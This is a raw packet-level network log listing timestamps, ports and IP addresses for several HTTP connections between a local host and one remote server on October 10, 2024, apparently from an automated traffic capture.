Oct 10, 2024 21:02:46.697443962 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.697470903 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.697526932 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.697526932 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.706753969 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.706790924 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.706805944 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.706981897 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.708156109 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.708230972 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.708573103 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.708599091 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.708626032 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.708626032 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.708652973 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.708655119 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.708709002 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.710743904 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.710771084 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.710796118 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.710807085 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.710822105 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.714041948 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.714103937 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.723139048 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.723165989 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.723195076 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.723206043 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:46.724827051 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.727001905 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.727030993 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.727057934 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.727082968 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.727108955 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.727133989 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.727163076 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.728610992 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.730351925 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.730377913 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.730746031 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.730772018 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.730798006 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.732465982 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.732492924 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.732517958 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.732543945 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.732569933 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.732594967 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.732620001 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.732645988 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.732671022 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.732696056 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.732721090 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:46.734508038 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.017311096 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.047307968 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.062273979 CEST	80	50563	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.062333107 CEST	50563	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.160285950 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.168112993 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.168184996 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.168544054 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.175997019 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.829411983 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.830440044 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.830674887 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.856513023 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.856544971 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.856571913 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.856599092 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.856625080 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.856650114 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.856832027 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.856832027 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.857139111 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.857188940 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.857219934 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.857245922 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.857271910 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.857348919 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.857392073 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.893129110 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.893162012 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.893191099 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.893215895 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.893241882 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.893363953 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.898773909 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.898924112 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.924649954 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.924690008 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.925004959 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.925108910 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:47.926256895 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.926294088 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.926320076 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.932549953 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.932596922 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.933486938 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.933515072 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.933541059 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.933567047 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.933593035 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.933618069 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.933643103 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.933669090 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.933693886 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.933720112 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.934998035 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.935026884 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.935053110 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.961608887 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.962053061 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.962084055 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.964035034 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.964061975 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:47.964088917 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:48.304466963 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:48.314927101 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:48.365716934 CEST	80	50569	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:48.365840912 CEST	50569	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:48.489511013 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:48.524143934 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:48.524365902 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:48.524888039 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:48.560908079 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.141793966 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.143013000 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:49.143152952 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:49.167963982 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.167995930 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.168021917 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.168200970 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:49.172317028 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.172347069 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.172373056 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.172399044 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.172404051 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:49.172426939 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.172454119 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.172481060 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.172507048 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.172525883 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:49.172566891 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:49.192800999 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.192853928 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.192882061 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.193011999 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:49.197788954 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.197818041 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.197844982 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.198040962 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:49.198206902 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:49.214991093 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.215107918 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:49.215899944 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.215979099 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:49.217915058 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.217943907 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.217972040 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.217998981 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.218025923 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.218051910 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.218076944 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.218101978 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.218127012 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.229784966 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.229863882 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.229892015 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.230710030 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.230736017 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:49.233707905 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.141838074 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.145647049 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.145740032 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.145766020 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.145826101 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.151070118 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.192153931 CEST	80	50575	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.192450047 CEST	50575	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.285469055 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.329132080 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.329225063 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.329658031 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.344932079 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.830281973 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.830966949 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.831175089 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.838862896 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.840001106 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.840029001 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.840054989 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.840095997 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.840578079 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.840605021 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.840631008 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.840632915 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.840657949 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.840662956 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.840686083 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.840697050 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.840713024 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.840732098 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.840739965 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.840764046 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.840764999 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.840792894 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.840818882 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.848329067 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.848356009 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.848381996 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.848383904 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.848416090 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.848443031 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.848795891 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.848824024 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.848870039 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.850049019 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.850164890 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.854655981 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.854723930 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:50.855562925 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.856050968 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.856194973 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.856244087 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.856270075 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.856532097 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.856558084 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.856584072 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.856610060 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.856636047 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.856661081 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.857125998 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.857151985 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.857180119 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.860591888 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.860620022 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.860646963 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.860752106 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.860780001 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:50.860805035 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.143297911 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.152221918 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.159668922 CEST	80	50581	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.159748077 CEST	50581	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.276096106 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.284379959 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.284455061 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.284782887 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.301067114 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.763618946 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.764719009 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.764935017 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.774482012 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.774838924 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.774929047 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.775538921 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.775568008 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.775595903 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.775612116 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.775623083 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.775655985 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.775684118 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.777228117 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.777256966 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.777283907 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.777288914 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.777309895 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.777317047 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.777335882 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.777343035 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.777367115 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.777396917 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.784571886 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.784631968 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.785391092 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.785459042 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.786147118 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.786175013 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.786202908 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.786204100 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.786233902 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.786253929 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.819900990 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.820067883 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.820157051 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.828583956 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.828634977 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.828658104 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:51.829252958 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.830962896 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.830991983 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.831017971 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.831043959 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.831069946 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.831096888 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.831123114 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.831149101 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.831175089 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.831202030 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.831228018 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.831254959 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:51.836966038 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.108369112 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.137830019 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.159543037 CEST	80	50587	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.159656048 CEST	50587	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.265315056 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.288285017 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.288490057 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.288927078 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.304133892 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.746651888 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.747454882 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.747617006 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.752635956 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.752648115 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.752760887 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.752769947 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.752783060 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.752794027 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.752865076 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.752872944 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.752873898 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.752933025 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.753030062 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.753041983 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.753052950 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.753063917 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.753151894 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.753235102 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.753341913 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.757766962 CEST	80	50597	104.21.59.199	192.168.2.4
